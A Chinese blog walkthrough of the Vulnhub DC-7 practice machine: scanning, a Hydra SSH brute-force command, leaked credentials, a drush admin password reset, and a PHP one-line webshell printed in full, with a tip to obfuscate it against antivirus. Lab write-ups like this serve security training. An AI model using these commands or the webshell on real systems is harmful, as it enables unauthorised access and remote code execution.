Vulnhub靶机渗透:DC-7打靶记录

2024-03-20 10:28

本文主要是介绍Vulnhub靶机渗透:DC-7打靶记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

自信自强,来自于不怕苦、不怕难的积淀。宝剑锋从磨砺出,梅花香自苦寒来;任何美好理想,都离不开筚路蓝缕、手胼足胝的艰苦奋斗!

靶场介绍

DC-7是一个初中级的靶场,需要具备以下前置知识:

  • 基础的Linux命令及操作(arp,whatweb…)
  • 基础的渗透测试工具使用(Kali自带的工具,eg:Hydra,MSF…)
  • Linux系统提权知识

友情提示:

该靶场只需要简单的下载,解压,打开并将其导入到VMware即可;应该将其网络配置为NAT模式,保证机器与kali在同一个网段下,方便操作

1651799646_6274765e0f7dcacdd7c0e.png!small?1651799646134

DC7小提示:

If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.What you will need to do, is to think “outside” of the box.Waaaaaay “outside” of the box.The ultimate goal of this challenge is to get root and to read the one and only flag.

翻译:如果需要诉诸蛮力或者字典攻击,很可能不会成功。你需要做的是跳出框框去思考。在盒子外面,这项挑战的最终目标是找到根并读取唯一的flag。

**信息收集 **

因为是靶机环境,所以无法模拟真实的"实战"环境;所以假设"目标"是一个局域网内的主机;为了确定"域控DC",我们可以通过kali中的arp-scan来探测域环境;最后以namp等端口扫描器进行端口判定

1651799740_627476bce756e93f50c5d.png!small?1651799743537

因为我只开了两台虚拟机,所以非常容易的通过arp命令就找到了CD靶机的IP地址

arp-scan -l  nmap -sS IP

友情提示:namp扫描时建议使用nmap -sS IPnmap -p IP容易引发网站崩溃和警报)如果你的系统不是linux那你可以考虑下载nmap图形化界面,有利于初学者

下一步通过访问80端口与22端口;确定在哪个端口进行打点;我们通过访问80端口可以发现左下角,存在一些信息泄露(页面不同是因为我已经登录成功所导致的)

1651799773_627476dda91f6445789a8.png!small?1651799774354

补充:我们可以发现@DC7USER,可能存在敏感信息泄露

22端口:我们尝试使用Hydar对ssh的22端口进行暴力破解,最终破解失败

hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip sshhydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

所以通过端口访问,我们从80端口进行突破;首先可以通过Wappalyzer这款插件进行信息收集;但是因为笔者kali没有下载,所以只能使用kali自带的whatweb进行信息收集(使用方法:whatweb -v IP

1651799822_6274770e6886ae335a275.png!small?1651799823193

使用whatweb探查结果如下所示:

1651799843_627477233b70e3a2ac965.png!small?1651799846536

然后祭出"MSF",但是可惜并没有可以利用的漏洞,但是我们根据"敏感信息"发现该靶场存在源代码泄露;通过谷歌(百度也可以)搜索"@DC7USER"关键词,找到源代码

1651799861_627477354bae505cf1ffe.png!small?1651799861551

更据提示信息发现 config.php文件( config.php文件读里可能存在配置文件信息…),与此同时我们发现了数据库密码

1651799918_6274776eb6bec448dfa34.png!small?1651799918941

1651799934_6274777e062efbe0c2d34.png!small?1651799935099

通过连接我们发现该数据库连接不上,但是我们的ssh却可以通过该密码连接成功!

1651799955_627477932fef82b5d445a.png!small?1651799956263

**打点 **

1651800168_62747868e85c309b7001c.png!small?1651800172633因此我们可以使用ls命令,探测文件目录;在通过cat mbox查看文件配置和敏感信息与文件路径…

1651800148_62747854635473f381d0f.png!small?1651800151103

通过仔细的观察发现/opt/scripts(定时任务)的路径存在root的使用权限;我们首先通过cd /opt/scripts跳转到该目录;在使用ls查询,最后使用ls -l查看该文件夹是否有写入权限;如果我们获得了该文件的写入权限,就可以写入shell,然后依靠任务使用root去执行shell。但是我们发现该文件并没写入权限;于是通过cd 命令,去寻找其他漏洞;我们发现可以在/var/www/html目录下使用drush命令;于是可以我们更改网页的登录密码;代码如下:

cd /var/www/htmldrush user-password admin --password="123" 

通过"success"我们可以知道,密码更改成功!尝试登陆网站!

**提权 **

通过输入修改后的密码,成功登录网站后台。

1651800100_627478240ee5aaea74a8d.png!small?1651800100396

我们接着开始寻找"一句话木马"的写入点,我们发现content可能存在上传点

1651800077_6274780ddbe278483c11e.png!small?1651800078200

1651800047_627477efd7154b0282668.png!small?1651800048176

但是大多数上传点无法使用php,但是通过Extand可以安装php环境

1651800023_627477d7ca0c7445a8932.png!small?1651800024030

安装成功!这时我们就可以通过该环境上传webshell!

这次我们使用网上常用的PHP一句话木马,建议有条件的可以对木马进行免杀处理(当然也可以使用PHP反弹shell的方式进行攻击)

<?php@preg_replace("/[email]/e",$_POST['123'],"error");?>

1651799988_627477b4134c0e951dbd5.png!small?1651799988472

注意text format的格式改为PHP,即可通过图形化页面进行连接,进而获得flag!

这篇关于Vulnhub靶机渗透:DC-7打靶记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/829167

相关文章

Java使用SLF4J记录不同级别日志的示例详解

《Java使用SLF4J记录不同级别日志的示例详解》SLF4J是一个简单的日志门面,它允许在运行时选择不同的日志实现,这篇文章主要为大家详细介绍了如何使用SLF4J记录不同级别日志,感兴趣的可以了解下... 目录一、SLF4J简介二、添加依赖三、配置Logback四、记录不同级别的日志五、总结一、SLF4J

在Spring Boot中浅尝内存泄漏的实战记录

《在SpringBoot中浅尝内存泄漏的实战记录》本文给大家分享在SpringBoot中浅尝内存泄漏的实战记录,结合实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录使用静态集合持有对象引用,阻止GC回收关键点:可执行代码:验证:1,运行程序(启动时添加JVM参数限制堆大小):2,访问 htt

MySQL 中查询 VARCHAR 类型 JSON 数据的问题记录

《MySQL中查询VARCHAR类型JSON数据的问题记录》在数据库设计中,有时我们会将JSON数据存储在VARCHAR或TEXT类型字段中,本文将详细介绍如何在MySQL中有效查询存储为V... 目录一、问题背景二、mysql jsON 函数2.1 常用 JSON 函数三、查询示例3.1 基本查询3.2

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,

Spring Boot 配置文件之类型、加载顺序与最佳实践记录

《SpringBoot配置文件之类型、加载顺序与最佳实践记录》SpringBoot的配置文件是灵活且强大的工具,通过合理的配置管理,可以让应用开发和部署更加高效,无论是简单的属性配置,还是复杂... 目录Spring Boot 配置文件详解一、Spring Boot 配置文件类型1.1 applicatio

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Spring Boot中定时任务Cron表达式的终极指南最佳实践记录

《SpringBoot中定时任务Cron表达式的终极指南最佳实践记录》本文详细介绍了SpringBoot中定时任务的实现方法,特别是Cron表达式的使用技巧和高级用法,从基础语法到复杂场景,从快速启... 目录一、Cron表达式基础1.1 Cron表达式结构1.2 核心语法规则二、Spring Boot中定

国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)

《国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)》本文给大家利用deepseek模型搭建私有知识问答库的详细步骤和遇到的问题及解决办法,感兴趣的朋友一起看看吧... 目录1. 第1步大家在安装完ollama后,需要到系统环境变量中添加两个变量2. 第3步 “在cmd中